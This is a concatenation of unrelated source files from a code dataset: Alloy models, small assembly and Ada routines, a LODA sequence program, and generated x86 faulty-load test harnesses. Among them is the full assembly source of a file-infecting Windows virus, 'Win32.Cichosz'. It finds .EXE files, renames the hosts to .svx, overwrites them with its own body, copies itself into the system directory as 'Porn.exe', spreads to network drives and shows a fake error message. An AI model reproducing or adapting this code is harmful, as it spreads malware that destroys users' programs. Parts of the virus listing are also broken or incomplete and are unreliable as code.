34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
alloy4fun_models/trashltl/models/15/szabirgcd6m4tQjzi.als
|
Kaixi26/org.alloytools.alloy
| 0
|
4627
|
<reponame>Kaixi26/org.alloytools.alloy
open main
pred idszabirgcd6m4tQjzi_prop16 {
all f : File | f in Protected implies always f in Protected
}
pred __repair { idszabirgcd6m4tQjzi_prop16 }
check __repair { idszabirgcd6m4tQjzi_prop16 <=> prop16o }
|
lab_05/readnum.asm
|
MrLIVB/BMSTU_MDPL
| 0
|
95952
|
EXTRN num: word
EXTRN num_str: byte
DSEG SEGMENT para public 'DATA'
inp_num db'Input number: ', '$'
DSEG ENDS
CSEG SEGMENT para public 'code'
assume CS:CSEG, DS:DSEG
str_to_int:
mov dl, 0ah
mov ah, 02
int 21h
lea dx, inp_num
mov ah, 09
int 21h
lea dx, num_str
mov ah, 0Ah
int 21h
xor ax, ax
mov cl, 4
mov di, 2
cmp byte ptr num_str[di], '-'
jnz transform
mov si, 1
inc di
transform:
xor bx, bx
mov bl, num_str[di]
cmp bx, 0Dh
je endofcycle
cmp bx, 57
jb digit
cmp bx, 'G'
jb letter
digit:
sal ax, cl
sub bl, '0'
add ax, bx
jmp endofif
letter:
sal ax, cl
sub bl, 37h
add ax, bx
jmp endofif
endofif:
inc di
jmp transform
endofcycle:
cmp si, 1
jnz eop
neg ax
eop:
xchg num, ax
ret
CSEG ENDS
PUBLIC str_to_int
END str_to_int
|
libpal/intel_64bit_systemv_nasm/write_cr2.asm
|
mars-research/pal
| 26
|
848
|
<reponame>mars-research/pal
bits 64
default rel
section .text
global pal_execute_write_cr2
pal_execute_write_cr2 :
mov cr2, rdi
ret
|
Win32/Win32.Cichosz/Win32.Cichosz.asm
|
fengjixuchui/Family
| 3
|
88003
|
;============================================================
;=== Win32.Cichosz virus. Coded by Necronomikon[ShadowvX] ===
;============================================================
;Virusname: Win32.Cichosz
;Author: Necronomikon
;Date:26-12-00
;Features: - Worming: It checks all drives and if it have access to
;a network drive,it infect there some files. (thanks to SnakeByte)
; - Fuck Debuggers
; - Display MessageBox
; - Renames infected files to svx
;---------------------------------------
;--- based on Win32.3x3 by BumbleBee ---
;---------------------------------------
;======================================================
; . To compile:
;
; tasm32 /ml /m3 cichosz,,;
; tlink32 -Tpe -c cichosz,cichosz,, import32.lib
;=======================================================
.386
locals
jumps
.model flat,STDCALL
extrn ExitProcess:PROC
extrn FindFirstFileA:PROC
extrn FindNextFileA:PROC
extrn FindClose:PROC
extrn GetCommandLineA:PROC
extrn MoveFileA:PROC
extrn CopyFileA:PROC
extrn WinExec:PROC
extrn MessageBoxA:PROC
extrn GetSystemTime:PROC
extrn CloseHandle:PROC
extrn GetFileSize:PROC
extrn GetCurrentDirectoryA:PROC
extrn SetCurrentDirectoryA:PROC
extrn DeleteFileA:PROC
L equ <LARGE>
.DATA
szTitle db "Structured Exception Handler example",0
szMessage db "Intercepted General Protection Fault!",0
.code
start:
call setupSEH ; The call pushes the offset
; past it in the stack rigth?
; So we will use that :)
exceptionhandler:
mov esp,[esp+8] ; Error gives us old ESP
; in [ESP+8]
push 00000000h ; Parameters for MessageBoxA
push offset szTitle
push offset szMessage
push 00000000h
call MessageBoxA
push 00000000h
call ExitProcess ; Exit Application
setupSEH:
push dword ptr fs:[0] ; Push original SEH handler
mov fs:[0],esp ; And put the new one (located
; after the first call)
mov ebx,0BFF70000h ; Try to write in kernel (will
mov eax,012345678h ; generate an exception)
xchg eax,[ebx]
end start
windoze db 'C:\Windows\System\Sys\Porn.exe',0
fHnd dd ? ; handle for files
shit dd 0 ; for write process
cont0 dd 0 ; for loops
cont1 db 0 ; for loops
findData db 316 dup(0) ; data for ffirst and fnext
fMask db '*.EXE' ; mask for finding exe files
ffHnd dd ? ; handle for ffirst and fnext
hostName db 260 dup(0) ; space for save host name
hwoArgs db 260 dup(0) ; host without arguments
futureHostName db 260 dup(0) ; space for save new host name
chDir db 260 dup(0) ; space for save current dir
commandLine dd ? ; handle for command line
sysTimeStruct db 16 dup(0) ; space for system time struct
; virus id and author
virusId db 'Win32.CICHOSZ coded by Necronomikon',0
; message
mess db 'This is my 1st Win32-Virus.'
db 0dh,0ah,'Greetingz tha whole ShadowvX Group!',0
bmess db 'Invalid call in shared memory 0x0cf689000.',0
;--------------------
push offset Buffer ; offset of the buffer
push 60h ; buffer-lenght
call GetLogicalDriveStrings
cmp eax, 0 ; did we fail ?
je StopThis
lea esi, Buffer
WhatDrive:
push esi
call GetDriveType
cmp eax, DRIVE_REMOTE ; we got a network drive
jne NoNetwork
; esi still contains the offset of
; the root dir on the drive
call infectDrive ; so we infect it.. ;P
NoNetwork:
Call GetNextZero ; place esi after the next zero
; ( searching from esi onwards )
cmp byte ptr [esi],0
jne WhatDrive ; if we searched all drives we
; end here, otherwise we check the type
StopThis:
ret
Buffer db 60h dup (?) ; I don't know that many ppl with 20+
; Drives so this buffersize should be
; big enough ;)
;----------------------------------------
virus:
lea eax,sysTimeStruct ; check for payload
push eax
call GetSystemTime ; get system time
lea eax,sysTimeStruct
cmp word ptr [eax+2],12
jne skipPay
cmp word ptr [eax+6],14
jne skipPay
push L 1030h ; show a message box
lea eax,virusId
push eax
lea eax,mess
push eax
push L 0
call MessageBoxA
skipPay:
call GetCommandLineA ; get command line
mov dword ptr [commandLine],eax
xor esi,esi ; copy it to get host path
lea edi,hostName ; needed for infection process
copyLoop:
mov bl,byte ptr [eax+esi]
mov byte ptr [edi+esi],bl
cmp bl,0
je skipArgs
inc esi
jmp copyLoop
skipArgs: ; copy host name without args
xor esi,esi
lea edi,hwoArgs
lea eax,hostName
copyLoopb:
mov bl,byte ptr [eax+esi]
mov byte ptr [edi+esi],bl
cmp bl,'.'
je ffirst
inc esi
jmp copyLoopb
ffirst:
mov dword ptr [edi+esi],'EXE.' ; add extension
; now we have arguments in
; hostName and name only in
; hwoArgs
push 0
lea eax,windoze
push eax
lea eax,hwoArgs
push eax
call CopyFileA ; install in windows dir
lea eax,chDir
push eax ; get current directory
push 260
call GetCurrentDirectoryA
cmp eax,0
retDir:
lea eax,chDir
push eax ; restore work directory
call SetCurrentDirectoryA
fnext:
call infectFile
skipThis:
lea eax,findData
push eax
push dword ptr [ffHnd]
call FindNextFileA ; find next *.EXE
cmp eax,0
jne fnext
push dword ptr [ffHnd]
call FindClose ; close ffist/fnext handle
execHost:
xor esi,esi ; copy hostName to future host Name
lea edi,futureHostName
lea eax,hostName
copyLoop2:
mov bl,byte ptr [eax+esi]
mov byte ptr [edi+esi],bl
cmp bl,'.'
je contExec
inc esi
jmp copyLoop2
contExec:
mov dword ptr [edi+esi],'svx.' ; change ext to svx
push 1
push edi
call WinExec ; exec host
cmp eax,32 ; exec error?
jb lastOptionStealth ; je stealth with lame message
goOut:
push L 0h
call ExitProcess ; exit program
infectFile:
xor esi,esi ; copy file found name to
lea edi,futureHostName ; future host name
lea eax,findData
add eax,44
icopyLoop:
mov bl,byte ptr [eax+esi]
mov byte ptr [edi+esi],bl
cmp bl,'.'
je continueInf
inc esi
jmp icopyLoop
continueInf:
mov dword ptr [edi+esi],'svx.' ; change ext to svx
push eax
push edi
push eax
call MoveFileA ; rename the host to *.svx
pop eax
push 0
push eax
lea eax,hwoArgs
push eax
call CopyFileA ; copy current host to new host
; (virus body)
ret
lastOptionStealth: ; lame mess when we can't exec host
push L 1010h ; user can think the program is
push L 0h ; corrupted or windows goes
lea eax,bmess ; wrong (very common =] )
push eax
push L 0
call MessageBoxA
jmp goOut
dcLoop:
push L 0
lea eax,shit
push eax
push L 1
push edi
push dword ptr [fHnd]
cmp byte ptr [edi],0ffh
jne skipFF
dec dword ptr [cont0]
call addFF
inc edi
skipFF:
inc edi
dec dword ptr [cont0]
cmp dword ptr [cont0],0
jne dcLoop
push dword ptr [fHnd] ; close file
call CloseHandle
addFF:
xor ecx,ecx
mov cl,byte ptr [edi+1]
mov byte ptr [cont1],cl
cmp cl,0
jne addFFLoop
ret
addFFLoop:
push L 0
lea eax,shit
push eax
push L 1
push edi
push dword ptr [fHnd]
dec byte ptr [cont1]
cmp byte ptr [cont1],0
jne addFFLoop
ret
Ends
End virus
|
programs/oeis/301/A301697.asm
|
neoneye/loda
| 22
|
13186
|
<reponame>neoneye/loda<filename>programs/oeis/301/A301697.asm
; A301697: Coordination sequence for node of type V2 in "krj" 2-D tiling (or net).
; 1,5,10,16,22,27,32,37,42,48,54,59,64,69,74,80,86,91,96,101,106,112,118,123,128,133,138,144,150,155,160,165,170,176,182,187,192,197,202,208,214,219,224,229,234,240,246,251,256,261,266,272,278,283,288,293,298,304,310,315,320,325,330,336,342,347,352,357,362,368,374,379,384,389,394,400,406,411,416,421,426,432,438,443,448,453,458,464,470,475,480,485,490,496,502,507,512,517,522,528
mov $3,2
mov $5,$0
lpb $3
mov $0,$5
sub $3,1
add $0,$3
trn $0,1
seq $0,301698 ; Partial sums of A301697.
mov $2,$3
mul $2,$0
add $1,$2
mov $4,$0
lpe
min $5,1
mul $5,$4
sub $1,$5
mov $0,$1
|
Exams/Test2_2013_2014/Library.als
|
pemesteves/MFES_2021
| 0
|
4158
|
sig Title {}
sig Person{}
sig Proceeding {
editors: set Person,
titlepr : one Title,
papers: set Paper
}
sig Paper {
titlepe: Title,
authors: set Person
}
sig Library {
proceedings: set Proceeding
}
fact proceedingEditor {
all p: Proceeding | some p.editors
}
fun removeFromEditor[l: Library, e: Person]: Library {
{l1: Library |
e in l.proceedings.editors &&
l1.proceedings = l.proceedings - {p: l.proceedings | e in p.editors}
}
}
fun numProceedings[p: Person]: Int {
#{authors.p} + #{pr: Proceeding | p in pr.editors}
}
check editorAndAuthor {
some pr: Proceeding | some p: Person |
p in pr.editors && authors.p in pr.papers
}
pred add[tproc: Proceeding, tpaper: Paper.titlepe, a: Person, tproc1: Proceeding] {
not tpaper in {p: Proceeding | p.titlepr = tproc}.papers.titlepe
tproc1.editors = tproc.editors
tproc1.titlepr = tproc.titlepr
tproc1.papers = tproc.papers + {p: Paper | p.titlepe = tpaper}
}
|
programs/oeis/165/A165826.asm
|
jmorken/loda
| 1
|
90107
|
; A165826: Totally multiplicative sequence with a(p) = 5.
; 1,5,5,25,5,25,5,125,25,25,5,125,5,25,25,625,5,125,5,125,25,25,5,625,25,25,125,125,5,125,5,3125,25,25,25,625,5,25,25,625,5,125,5,125,125,25,5,3125,25,125,25,125,5,625,25,625,25,25,5,625,5,25,125,15625,25,125,5,125,25,125,5,3125,5,25,125,125,25,125,5,3125,625,25,5,625,25,25,25,625,5,625,25,125,25,25,25,15625,5,125,125,625,5,125,5,625,125,25,5,3125,5,125,25,3125,5,125,25,125,125,25,25,3125,25,25,25,125,125,625,5,78125,25,125,5,625,25,25,625,625,5,125,5,625,25,25,25,15625,25,25,125,125,5,625,5,625,125,125,25,625,5,25,25,15625,25,3125,5,125,125,25,5,3125,25,125,125,125,5,125,125,3125,25,25,5,3125,5,125,25,625,25,125,25,125,625,125,5,78125,5,25,125,625,5,625,5,3125,25,25,25,625,25,25,125,3125,25,625,5,125,25,25,25,15625,25,25,25,625,25,125,5,15625,625,25,5,625,5,125,125,625,5,625,25,125,25,125,5,15625,5,125,3125,125,125,125,25,625,25,625
cal $0,73093 ; Number of prime power divisors of n.
cal $0,170111 ; Number of reduced words of length n in Coxeter group on 6 generators S_i with relations (S_i)^2 = (S_i S_j)^38 = I.
mov $1,$0
mul $1,2916
div $1,23328
mul $1,2
div $1,6
mul $1,4
add $1,1
|
lch/last_chance_handler.adb
|
JeremyGrosser/synack_misc
| 0
|
8243
|
<gh_stars>0
--
-- Copyright 2021 (C) <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: BSD-3-Clause
--
with System.Machine_Code;
with Serial_Console;
package body Last_Chance_Handler is
Port : HAL.UART.Any_UART_Port := null;
procedure Initialize
(UART : not null HAL.UART.Any_UART_Port)
is
begin
Port := UART;
end Initialize;
procedure Last_Chance_Handler
(Source_Location : System.Address;
Line : Integer)
is
pragma Unreferenced (Source_Location);
use HAL.UART;
begin
if Port /= null then
declare
Console : Serial_Console.Port (UART => Port);
begin
Console.Put ("Last Chance Handler caught exception at line ");
Console.Put (Line'Image);
Console.New_Line;
end;
end if;
System.Machine_Code.Asm ("bkpt #0", Volatile => True);
loop
null;
end loop;
end Last_Chance_Handler;
end Last_Chance_Handler;
|
src/main/resources/project-templates/aws_web_server_blocks/src/@_project_name_@-dispatchers.ads
|
WinterAlexander/Ada-IntelliJ
| 17
|
25507
|
with AWS.Config;
with AWS.Response;
with AWS.Services.Dispatchers.URI;
with AWS.Status;
package @_Project_Name_@.Dispatchers is
use AWS;
procedure Initialize (Web_Config : in Config.Object);
-- Initialize state in this package depending on the HTTP configuration.
-- For example it sets the web root for all dispatchers. All resources
-- (templates, images, CSS file...) will be searched under this root
-- directory.
-------------
-- Default --
-------------
type Default is new Services.Dispatchers.URI.Handler with private;
-- Handle everything not covered by the other dispatchers (CSS, Image)
overriding function Dispatch
(Dispatcher : in Default;
Request : in Status.Data) return Response.Data;
---------
-- CSS --
---------
type CSS is new Services.Dispatchers.URI.Handler with private;
overriding function Dispatch
(Dispatcher : in CSS;
Request : in Status.Data) return Response.Data;
---------
-- JS --
---------
type JS is new Services.Dispatchers.URI.Handler with private;
overriding function Dispatch
(Dispatcher : in JS;
Request : in Status.Data) return Response.Data;
-----------
-- Image --
-----------
type Image is new Services.Dispatchers.URI.Handler with private;
overriding function Dispatch
(Dispatcher : in Image;
Request : in Status.Data) return Response.Data;
private
type Default is new Services.Dispatchers.URI.Handler with null record;
type CSS is new Services.Dispatchers.URI.Handler with null record;
type JS is new Services.Dispatchers.URI.Handler with null record;
type Image is new Services.Dispatchers.URI.Handler with null record;
end @_Project_Name_@.Dispatchers;
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1023.asm
|
ljhsiun2/medusa
| 9
|
247539
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r14
push %r15
push %r8
push %rbx
push %rcx
lea addresses_normal_ht+0x9664, %rcx
nop
nop
cmp $26844, %r15
movb $0x61, (%rcx)
nop
nop
nop
nop
add $29720, %r13
lea addresses_WT_ht+0xeed6, %r10
nop
nop
nop
add %r14, %r14
mov $0x6162636465666768, %r8
movq %r8, %xmm3
and $0xffffffffffffffc0, %r10
vmovaps %ymm3, (%r10)
nop
nop
nop
nop
sub $42639, %r15
lea addresses_D_ht+0xf856, %r13
nop
nop
nop
and %rcx, %rcx
movl $0x61626364, (%r13)
nop
nop
nop
and %r14, %r14
pop %rcx
pop %rbx
pop %r8
pop %r15
pop %r14
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r14
push %rcx
push %rsi
// Faulty Load
lea addresses_PSE+0x36d6, %rsi
nop
nop
nop
nop
cmp $8419, %r12
mov (%rsi), %r13d
lea oracles, %rsi
and $0xff, %r13
shlq $12, %r13
mov (%rsi,%r13,1), %r13
pop %rsi
pop %rcx
pop %r14
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 10, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 7, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver0/sfc/ys_demo_1.asm
|
prismotizm/gigaleak
| 0
|
166875
|
Name: ys_demo_1.asm
Type: file
Size: 29099
Last-Modified: '2016-05-13T04:50:34Z'
SHA-1: 2E334316B729F66933B1AB250765F14575EDD258
Description: null
|
middleware/src/command_line/command_line-filesystem.adb
|
rocher/Ada_Drivers_Library
| 192
|
10898
|
<reponame>rocher/Ada_Drivers_Library<filename>middleware/src/command_line/command_line-filesystem.adb
------------------------------------------------------------------------------
-- --
-- Copyright (C) 2017, AdaCore --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions are --
-- met: --
-- 1. Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- 2. Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in --
-- the documentation and/or other materials provided with the --
-- distribution. --
-- 3. Neither the name of the copyright holder nor the names of its --
-- contributors may be used to endorse or promote products derived --
-- from this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT --
-- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, --
-- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY --
-- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT --
-- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE --
-- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
with Command_Line.Filesystem.List_Directory;
with Command_Line.Filesystem.Remove_Directory;
with Command_Line.Filesystem.Touch;
with Command_Line.Filesystem.Cat;
package body Command_Line.Filesystem is
Ls : aliased Command_Line.Filesystem.List_Directory.Ls_Cmd;
Rmdir : aliased Command_Line.Filesystem.Remove_Directory.Rmdir_Cmd;
Touch_C : aliased Command_Line.Filesystem.Touch.Touch_Cmd;
Cat_C : aliased Command_Line.Filesystem.Cat.Cat_Cmd;
------------------
-- Register_All --
------------------
procedure Register_All is
begin
Register (Ls'Access);
Register (Rmdir'Access);
Register (Touch_C'Access);
Register (Cat_C'Access);
end Register_All;
end Command_Line.Filesystem;
|
8085 Microprocessor/Assignment 3/sol2.asm
|
neeladripal/bcse-lab
| 0
|
19337
|
LXI H,21FF
MOV B,M ; store value of N in register B to use as counter
LXI H,2100 ; set up HL to start checking the numbers from 2501H
LXI D,0000 ; clear DE to store the sum
LOOP: MOV A,M ; copy contents of HL pair into accumulator
ANI 81 ; logical AND 10000001 and contents of accumulator
CPI 81 ; compare the result with 81H
JNZ NEXT ; if not equal, either MSB or LSB or both equal to 0, skip to next iteration
MOV A,D ; transfer the sum in accumulator
MOV D,M ; copy the byte to register D
ADD D ; add (D) to accumulator
MOV D,A ; transfer sum to D
JNC NEXT ; check if carry bit generated
INR E ; if carry flag is set, increment E
NEXT: INX H ; increment HL to point to next address
DCR B ; one operation complete, decrement counter
JNZ LOOP ; if counter is not zero, go for next check
XCHG ; transfer the sum to HL pair
SHLD 2500H ; store the sum in 2500H and 2501H
HLT ; stop
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2412.asm
|
ljhsiun2/medusa
| 9
|
101508
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r9
push %rbp
push %rcx
push %rsi
lea addresses_WC_ht+0x7da8, %r9
clflush (%r9)
nop
nop
nop
nop
add $25970, %rbp
vmovups (%r9), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $0, %xmm5, %rcx
nop
nop
nop
nop
nop
cmp $22446, %rsi
lea addresses_D_ht+0x15a84, %r11
nop
nop
nop
sub %r12, %r12
mov $0x6162636465666768, %r9
movq %r9, %xmm1
vmovups %ymm1, (%r11)
add %r9, %r9
lea addresses_D_ht+0x169fc, %r11
nop
nop
nop
nop
sub %r10, %r10
movb $0x61, (%r11)
and %rcx, %rcx
pop %rsi
pop %rcx
pop %rbp
pop %r9
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r15
push %rcx
push %rdi
push %rsi
// Store
lea addresses_PSE+0x3dfc, %r15
nop
nop
nop
add $16030, %r11
mov $0x5152535455565758, %r13
movq %r13, %xmm5
vmovups %ymm5, (%r15)
inc %r13
// REPMOV
lea addresses_WT+0xba94, %rsi
lea addresses_D+0x6a04, %rdi
nop
nop
nop
nop
nop
sub %r11, %r11
mov $102, %rcx
rep movsl
nop
dec %r12
// Store
lea addresses_WT+0x1b31c, %rcx
nop
xor $56663, %rdi
mov $0x5152535455565758, %r11
movq %r11, %xmm5
movups %xmm5, (%rcx)
sub $64573, %r15
// Store
lea addresses_PSE+0x5b3c, %rcx
nop
nop
nop
xor $24840, %r11
mov $0x5152535455565758, %r12
movq %r12, %xmm1
vmovups %ymm1, (%rcx)
nop
add $46587, %r13
// Load
lea addresses_A+0x163ea, %r13
nop
add $18144, %r11
movb (%r13), %cl
nop
sub %r13, %r13
// Faulty Load
lea addresses_RW+0x158fc, %r13
nop
nop
nop
add %rsi, %rsi
mov (%r13), %r11w
lea oracles, %r15
and $0xff, %r11
shlq $12, %r11
mov (%r15,%r11,1), %r11
pop %rsi
pop %rdi
pop %rcx
pop %r15
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_RW', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_PSE', 'same': False, 'size': 32, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WT', 'congruent': 3, 'same': True}, 'dst': {'type': 'addresses_D', 'congruent': 3, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_WT', 'same': False, 'size': 16, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_PSE', 'same': False, 'size': 32, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_A', 'same': False, 'size': 1, 'congruent': 1, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_RW', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 32, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D_ht', 'same': True, 'size': 32, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 